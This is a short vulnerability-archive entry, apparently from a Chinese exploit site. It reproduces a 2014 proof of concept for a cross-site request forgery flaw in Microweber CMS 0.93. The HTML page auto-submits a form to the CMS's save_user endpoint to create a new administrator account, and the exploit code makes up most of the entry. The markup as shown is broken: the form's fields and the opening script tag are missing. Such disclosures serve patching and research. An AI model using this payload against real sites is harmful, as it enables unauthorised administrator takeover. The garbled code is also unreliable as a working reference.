发布 2014-04-13 漏洞条目

Microweber CMS 0.93 – Cross-Site Request Forgery

Exploit Source

###########################################################

[~] Exploit Title: Microweber CMS v0.93 CSRF Vulnerability

[~] Author: sajith

[~] version: Microweber CMS v0.93

[~]Vendor Homepage: http://microweber.com/

[~] vulnerable app link:http://microweber.com/download

###########################################################

[*] Application is vulnerable to CSRF.below is the POC where attacker can

use this vulnerability to create new user and assign Admin role to the user

<head>

<title>POC by sajith shetty</title>

</head>

<body>

<form action="

http://127.0.0.1/cms/microweber-0.9343/microweber-master/api/save_user"

id="formid" method="post">

</form>

document.getElementById('formid').submit();

</script>

</body>

</html>

相关漏洞条目